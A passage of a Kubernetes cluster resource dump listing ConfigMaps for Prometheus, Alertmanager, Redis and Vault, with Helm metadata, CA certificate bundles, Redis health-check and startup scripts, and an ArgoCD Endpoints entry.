      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T20:25:33Z"
    name: kube-root-ca.crt
    namespace: prometheus
    resourceVersion: "76762"
    uid: 91869637-fcc3-4e67-88d9-6855f01acc8d
- apiVersion: v1
  data:
    alertmanager.yml: |
      global: {}
      receivers:
      - name: default-receiver
      route:
        group_interval: 5m
        group_wait: 10s
        receiver: default-receiver
        repeat_interval: 3h
      templates:
      - /etc/alertmanager/*.tmpl
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager
    namespace: prometheus
    resourceVersion: "1129840"
    uid: bdbe4ba8-04c3-47d4-9b30-b30d1c78cbbd
- apiVersion: v1
  data:
    alerting_rules.yml: |
      {}
    alerts: |
      {}
    allow-snippet-annotations: "false"
    prometheus.yml: |
      global:
        evaluation_interval: 1m
        scrape_interval: 1m
        scrape_timeout: 10s
      rule_files:
      - /etc/config/recording_rules.yml
      - /etc/config/alerting_rules.yml
      - /etc/config/rules
      - /etc/config/alerts
      scrape_configs:
      - job_name: prometheus
        static_configs:
        - targets:
          - localhost:9090
      - bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
        job_name: kubernetes-apiservers
        kubernetes_sd_configs:
        - role: endpoints
        relabel_configs:
        - action: keep
          regex: default;kubernetes;https
          source_labels:
          - __meta_kubernetes_namespace
          - __meta_kubernetes_service_name
          - __meta_kubernetes_endpoint_port_name
        scheme: https
        tls_config:
          ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
      - bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
        job_name: kubernetes-nodes
        kubernetes_sd_configs:
        - role: node
        relabel_configs:
        - action: labelmap
          regex: __meta_kubernetes_node_label_(.+)
        - replacement: kubernetes.default.svc:443
          target_label: __address__
        - regex: (.+)
          replacement: /api/v1/nodes/$1/proxy/metrics
          source_labels:
          - __meta_kubernetes_node_name
          target_label: __metrics_path__
        scheme: https
        tls_config:
          ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
      - bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
        job_name: kubernetes-nodes-cadvisor
        kubernetes_sd_configs:
        - role: node
        relabel_configs:
        - action: labelmap
          regex: __meta_kubernetes_node_label_(.+)
        - replacement: kubernetes.default.svc:443
          target_label: __address__
        - regex: (.+)
          replacement: /api/v1/nodes/$1/proxy/metrics/cadvisor
          source_labels:
          - __meta_kubernetes_node_name
          target_label: __metrics_path__
        scheme: https
        tls_config:
          ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
      - honor_labels: true
        job_name: kubernetes-service-endpoints
        kubernetes_sd_configs:
        - role: endpoints
        relabel_configs:
        - action: keep
          regex: true
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_scrape
        - action: drop
          regex: true
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_scrape_slow
        - action: replace
          regex: (https?)
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_scheme
          target_label: __scheme__
        - action: replace
          regex: (.+)
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_path
          target_label: __metrics_path__
        - action: replace
          regex: (.+?)(?::\d+)?;(\d+)
          replacement: $1:$2
          source_labels:
          - __address__
          - __meta_kubernetes_service_annotation_prometheus_io_port
          target_label: __address__
        - action: labelmap
          regex: __meta_kubernetes_service_annotation_prometheus_io_param_(.+)
          replacement: __param_$1
        - action: labelmap
          regex: __meta_kubernetes_service_label_(.+)
        - action: replace
          source_labels:
          - __meta_kubernetes_namespace
          target_label: namespace
        - action: replace
          source_labels:
          - __meta_kubernetes_service_name
          target_label: service
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_node_name
          target_label: node
      - honor_labels: true
        job_name: kubernetes-service-endpoints-slow
        kubernetes_sd_configs:
        - role: endpoints
        relabel_configs:
        - action: keep
          regex: true
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_scrape_slow
        - action: replace
          regex: (https?)
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_scheme
          target_label: __scheme__
        - action: replace
          regex: (.+)
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_path
          target_label: __metrics_path__
        - action: replace
          regex: (.+?)(?::\d+)?;(\d+)
          replacement: $1:$2
          source_labels:
          - __address__
          - __meta_kubernetes_service_annotation_prometheus_io_port
          target_label: __address__
        - action: labelmap
          regex: __meta_kubernetes_service_annotation_prometheus_io_param_(.+)
          replacement: __param_$1
        - action: labelmap
          regex: __meta_kubernetes_service_label_(.+)
        - action: replace
          source_labels:
          - __meta_kubernetes_namespace
          target_label: namespace
        - action: replace
          source_labels:
          - __meta_kubernetes_service_name
          target_label: service
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_node_name
          target_label: node
        scrape_interval: 5m
        scrape_timeout: 30s
      - honor_labels: true
        job_name: prometheus-pushgateway
        kubernetes_sd_configs:
        - role: service
        relabel_configs:
        - action: keep
          regex: pushgateway
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_probe
      - honor_labels: true
        job_name: kubernetes-services
        kubernetes_sd_configs:
        - role: service
        metrics_path: /probe
        params:
          module:
          - http_2xx
        relabel_configs:
        - action: keep
          regex: true
          source_labels:
          - __meta_kubernetes_service_annotation_prometheus_io_probe
        - source_labels:
          - __address__
          target_label: __param_target
        - replacement: blackbox
          target_label: __address__
        - source_labels:
          - __param_target
          target_label: instance
        - action: labelmap
          regex: __meta_kubernetes_service_label_(.+)
        - source_labels:
          - __meta_kubernetes_namespace
          target_label: namespace
        - source_labels:
          - __meta_kubernetes_service_name
          target_label: service
      - honor_labels: true
        job_name: kubernetes-pods
        kubernetes_sd_configs:
        - role: pod
        relabel_configs:
        - action: keep
          regex: true
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_scrape
        - action: drop
          regex: true
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_scrape_slow
        - action: replace
          regex: (https?)
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_scheme
          target_label: __scheme__
        - action: replace
          regex: (.+)
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_path
          target_label: __metrics_path__
        - action: replace
          regex: (\d+);(([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})
          replacement: '[$2]:$1'
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_port
          - __meta_kubernetes_pod_ip
          target_label: __address__
        - action: replace
          regex: (\d+);((([0-9]+?)(\.|$)){4})
          replacement: $2:$1
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_port
          - __meta_kubernetes_pod_ip
          target_label: __address__
        - action: labelmap
          regex: __meta_kubernetes_pod_annotation_prometheus_io_param_(.+)
          replacement: __param_$1
        - action: labelmap
          regex: __meta_kubernetes_pod_label_(.+)
        - action: replace
          source_labels:
          - __meta_kubernetes_namespace
          target_label: namespace
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_name
          target_label: pod
        - action: drop
          regex: Pending|Succeeded|Failed|Completed
          source_labels:
          - __meta_kubernetes_pod_phase
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_node_name
          target_label: node
      - honor_labels: true
        job_name: kubernetes-pods-slow
        kubernetes_sd_configs:
        - role: pod
        relabel_configs:
        - action: keep
          regex: true
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_scrape_slow
        - action: replace
          regex: (https?)
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_scheme
          target_label: __scheme__
        - action: replace
          regex: (.+)
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_path
          target_label: __metrics_path__
        - action: replace
          regex: (\d+);(([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})
          replacement: '[$2]:$1'
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_port
          - __meta_kubernetes_pod_ip
          target_label: __address__
        - action: replace
          regex: (\d+);((([0-9]+?)(\.|$)){4})
          replacement: $2:$1
          source_labels:
          - __meta_kubernetes_pod_annotation_prometheus_io_port
          - __meta_kubernetes_pod_ip
          target_label: __address__
        - action: labelmap
          regex: __meta_kubernetes_pod_annotation_prometheus_io_param_(.+)
          replacement: __param_$1
        - action: labelmap
          regex: __meta_kubernetes_pod_label_(.+)
        - action: replace
          source_labels:
          - __meta_kubernetes_namespace
          target_label: namespace
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_name
          target_label: pod
        - action: drop
          regex: Pending|Succeeded|Failed|Completed
          source_labels:
          - __meta_kubernetes_pod_phase
        - action: replace
          source_labels:
          - __meta_kubernetes_pod_node_name
          target_label: node
        scrape_interval: 5m
        scrape_timeout: 30s
      alerting:
        alertmanagers:
        - kubernetes_sd_configs:
            - role: pod
          tls_config:
            ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
          bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
          relabel_configs:
          - source_labels: [__meta_kubernetes_namespace]
            regex: prometheus
            action: keep
          - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_instance]
            regex: prometheus-community
            action: keep
          - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name]
            regex: alertmanager
            action: keep
          - source_labels: [__meta_kubernetes_pod_container_port_number]
            regex: "9093"
            action: keep
    recording_rules.yml: |
      {}
    rules: |
      {}
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:43Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "1129841"
    uid: b280ac0b-92af-4a95-8895-e1634454cfe3
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-22T21:37:24Z"
    name: kube-root-ca.crt
    namespace: redis
    resourceVersion: "299854"
    uid: 483f2c16-7f75-4660-9356-b333712d4c86
- apiVersion: v1
  data:
    master.conf: |-
      dir /data
      # User-supplied master configuration:
      rename-command FLUSHDB ""
      rename-command FLUSHALL ""
      # End of master configuration
    redis.conf: |-
      # User-supplied common configuration:
      # Enable ReJSON y Redisearch
      loadmodule /opt/bitnami/redis/lib/redis/modules/redisearch.so
      loadmodule /opt/bitnami/redis/lib/redis/modules/rejson.so
      # Enable AOF https://redis.io/topics/persistence#append-only-file
      appendonly yes
      # Disable RDB persistence, AOF persistence already enabled.
      save ""
      # End of common configuration
    replica.conf: |-
      dir /data
      # User-supplied replica configuration:
      rename-command FLUSHDB ""
      rename-command FLUSHALL ""
      # End of replica configuration
    users.acl: ""
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-configuration
    namespace: redis
    resourceVersion: "6769111"
    uid: 5a7cd547-3942-4e8a-8b35-b90c2c86173a
- apiVersion: v1
  data:
    ping_liveness_local.sh: |-
      #!/bin/bash

      [[ -f $REDIS_PASSWORD_FILE ]] && export REDIS_PASSWORD="$(< "${REDIS_PASSWORD_FILE}")"
      [[ -n "$REDIS_PASSWORD" ]] && export REDISCLI_AUTH="$REDIS_PASSWORD"
      response=$(
        timeout -s 15 $1 \
        redis-cli \
          -h localhost \
          -p $REDIS_PORT \
          ping
      )
      if [ "$?" -eq "124" ]; then
        echo "Timed out"
        exit 1
      fi
      responseFirstWord=$(echo $response | head -n1 | awk '{print $1;}')
      if [ "$response" != "PONG" ] && [ "$responseFirstWord" != "LOADING" ] && [ "$responseFirstWord" != "MASTERDOWN" ]; then
        echo "$response"
        exit 1
      fi
    ping_liveness_local_and_master.sh: |-
      script_dir="$(dirname "$0")"
      exit_status=0
      "$script_dir/ping_liveness_local.sh" $1 || exit_status=$?
      "$script_dir/ping_liveness_master.sh" $1 || exit_status=$?
      exit $exit_status
    ping_liveness_master.sh: |-
      #!/bin/bash

      [[ -f $REDIS_MASTER_PASSWORD_FILE ]] && export REDIS_MASTER_PASSWORD="$(< "${REDIS_MASTER_PASSWORD_FILE}")"
      [[ -n "$REDIS_MASTER_PASSWORD" ]] && export REDISCLI_AUTH="$REDIS_MASTER_PASSWORD"
      response=$(
        timeout -s 15 $1 \
        redis-cli \
          -h $REDIS_MASTER_HOST \
          -p $REDIS_MASTER_PORT_NUMBER \
          ping
      )
      if [ "$?" -eq "124" ]; then
        echo "Timed out"
        exit 1
      fi
      responseFirstWord=$(echo $response | head -n1 | awk '{print $1;}')
      if [ "$response" != "PONG" ] && [ "$responseFirstWord" != "LOADING" ]; then
        echo "$response"
        exit 1
      fi
    ping_readiness_local.sh: |-
      #!/bin/bash

      [[ -f $REDIS_PASSWORD_FILE ]] && export REDIS_PASSWORD="$(< "${REDIS_PASSWORD_FILE}")"
      [[ -n "$REDIS_PASSWORD" ]] && export REDISCLI_AUTH="$REDIS_PASSWORD"
      response=$(
        timeout -s 15 $1 \
        redis-cli \
          -h localhost \
          -p $REDIS_PORT \
          ping
      )
      if [ "$?" -eq "124" ]; then
        echo "Timed out"
        exit 1
      fi
      if [ "$response" != "PONG" ]; then
        echo "$response"
        exit 1
      fi
    ping_readiness_local_and_master.sh: |-
      script_dir="$(dirname "$0")"
      exit_status=0
      "$script_dir/ping_readiness_local.sh" $1 || exit_status=$?
      "$script_dir/ping_readiness_master.sh" $1 || exit_status=$?
      exit $exit_status
    ping_readiness_master.sh: |-
      #!/bin/bash

      [[ -f $REDIS_MASTER_PASSWORD_FILE ]] && export REDIS_MASTER_PASSWORD="$(< "${REDIS_MASTER_PASSWORD_FILE}")"
      [[ -n "$REDIS_MASTER_PASSWORD" ]] && export REDISCLI_AUTH="$REDIS_MASTER_PASSWORD"
      response=$(
        timeout -s 15 $1 \
        redis-cli \
          -h $REDIS_MASTER_HOST \
          -p $REDIS_MASTER_PORT_NUMBER \
          ping
      )
      if [ "$?" -eq "124" ]; then
        echo "Timed out"
        exit 1
      fi
      if [ "$response" != "PONG" ]; then
        echo "$response"
        exit 1
      fi
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-health
    namespace: redis
    resourceVersion: "6769110"
    uid: 5dcd1442-2e79-4bd9-805c-c35f852c8eea
- apiVersion: v1
  data:
    start-master.sh: |
      #!/bin/bash

      [[ -f $REDIS_PASSWORD_FILE ]] && export REDIS_PASSWORD="$(< "${REDIS_PASSWORD_FILE}")"
      if [[ -f /opt/bitnami/redis/mounted-etc/master.conf ]];then
          cp /opt/bitnami/redis/mounted-etc/master.conf /opt/bitnami/redis/etc/master.conf
      fi
      if [[ -f /opt/bitnami/redis/mounted-etc/redis.conf ]];then
          cp /opt/bitnami/redis/mounted-etc/redis.conf /opt/bitnami/redis/etc/redis.conf
      fi
      if [[ -f /opt/bitnami/redis/mounted-etc/users.acl ]];then
          cp /opt/bitnami/redis/mounted-etc/users.acl /opt/bitnami/redis/etc/users.acl
      fi
      ARGS=("--port" "${REDIS_PORT}")
      ARGS+=("--requirepass" "${REDIS_PASSWORD}")
      ARGS+=("--masterauth" "${REDIS_PASSWORD}")
      ARGS+=("--include" "/opt/bitnami/redis/etc/redis.conf")
      ARGS+=("--include" "/opt/bitnami/redis/etc/master.conf")
      exec redis-server "${ARGS[@]}"
    start-replica.sh: |
      #!/bin/bash

      get_port() {
          hostname="$1"
          type="$2"

          port_var=$(echo "${hostname^^}_SERVICE_PORT_$type" | sed "s/-/_/g")
          port=${!port_var}

          if [ -z "$port" ]; then
              case $type in
                  "SENTINEL")
                      echo 26379
                      ;;
                  "REDIS")
                      echo 6379
                      ;;
              esac
          else
              echo $port
          fi
      }

      get_full_hostname() {
          hostname="$1"
          full_hostname="${hostname}.${HEADLESS_SERVICE}"
          echo "${full_hostname}"
      }

      REDISPORT=$(get_port "$HOSTNAME" "REDIS")
      HEADLESS_SERVICE="redis-headless.redis.svc.cluster.local"

      [[ -f $REDIS_PASSWORD_FILE ]] && export REDIS_PASSWORD="$(< "${REDIS_PASSWORD_FILE}")"
      [[ -f $REDIS_MASTER_PASSWORD_FILE ]] && export REDIS_MASTER_PASSWORD="$(< "${REDIS_MASTER_PASSWORD_FILE}")"
      if [[ -f /opt/bitnami/redis/mounted-etc/replica.conf ]];then
          cp /opt/bitnami/redis/mounted-etc/replica.conf /opt/bitnami/redis/etc/replica.conf
      fi
      if [[ -f /opt/bitnami/redis/mounted-etc/redis.conf ]];then
          cp /opt/bitnami/redis/mounted-etc/redis.conf /opt/bitnami/redis/etc/redis.conf
      fi
      if [[ -f /opt/bitnami/redis/mounted-etc/users.acl ]];then
          cp /opt/bitnami/redis/mounted-etc/users.acl /opt/bitnami/redis/etc/users.acl
      fi

      echo "" >> /opt/bitnami/redis/etc/replica.conf
      echo "replica-announce-port $REDISPORT" >> /opt/bitnami/redis/etc/replica.conf
      echo "replica-announce-ip $(get_full_hostname "$HOSTNAME")" >> /opt/bitnami/redis/etc/replica.conf
      ARGS=("--port" "${REDIS_PORT}")
      ARGS+=("--replicaof" "${REDIS_MASTER_HOST}" "${REDIS_MASTER_PORT_NUMBER}")
      ARGS+=("--requirepass" "${REDIS_PASSWORD}")
      ARGS+=("--masterauth" "${REDIS_MASTER_PASSWORD}")
      ARGS+=("--include" "/opt/bitnami/redis/etc/redis.conf")
      ARGS+=("--include" "/opt/bitnami/redis/etc/replica.conf")
      exec redis-server "${ARGS[@]}"
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-scripts
    namespace: redis
    resourceVersion: "6769109"
    uid: 33d7e40e-b82f-4a10-bbe0-250320c89857
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-10-19T16:11:25Z"
    name: kube-root-ca.crt
    namespace: tigera-operator
    resourceVersion: "6820843"
    uid: 55a84286-61f1-44ac-b46c-9cb94306d3b4
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T20:18:48Z"
    name: kube-root-ca.crt
    namespace: vault
    resourceVersion: "75724"
    uid: 16d31bb4-09b0-4e3f-a795-729b9d47b0ac
- apiVersion: v1
  data:
    extraconfig-from-values.hcl: |-
      ui = true

      listener "tcp" {
        tls_disable = 1
        address = "[::]:8200"
        cluster_address = "[::]:8201"
        # Enable unauthenticated metrics access (necessary for Prometheus Operator)
        #telemetry {
        #  unauthenticated_metrics_access = "true"
        #}
      }
      storage "file" {
        path = "/vault/data"
      }

      # Example configuration for using auto-unseal, using Google Cloud KMS. The
      # GKMS keys must already exist, and the cluster must have a service account
      # that is authorized to access GCP KMS.
      #seal "gcpckms" {
      #   project     = "vault-helm-dev"
      #   region      = "global"
      #   key_ring    = "vault-helm-unseal-kr"
      #   crypto_key  = "vault-helm-unseal-key"
      #}

      # Example configuration for enabling Prometheus metrics in your config.
      #telemetry {
      #  prometheus_retention_time = "30s"
      #  disable_hostname = true
      #}
      disable_mlock = true
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      helm.sh/chart: vault-0.30.1
    name: vault-config
    namespace: vault
    resourceVersion: "265866"
    uid: e9926a3c-6dc6-4423-90e3-08159759c9b6
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:57Z"
    creationTimestamp: "2025-09-21T20:15:16Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "18033650"
    uid: c627a9c4-3858-4432-a724-e63602c1b0b1
  subsets:
  - addresses:
    - ip: 192.168.61.226
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: argocd-applicationset-controller-6dc687dfdb-bbpnx
        namespace: argocd
        uid: 9549e405-5094-46b2-96ad-3e993e3f8a0e
    ports:
    - name: http-webhook
      port: 7000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:52Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
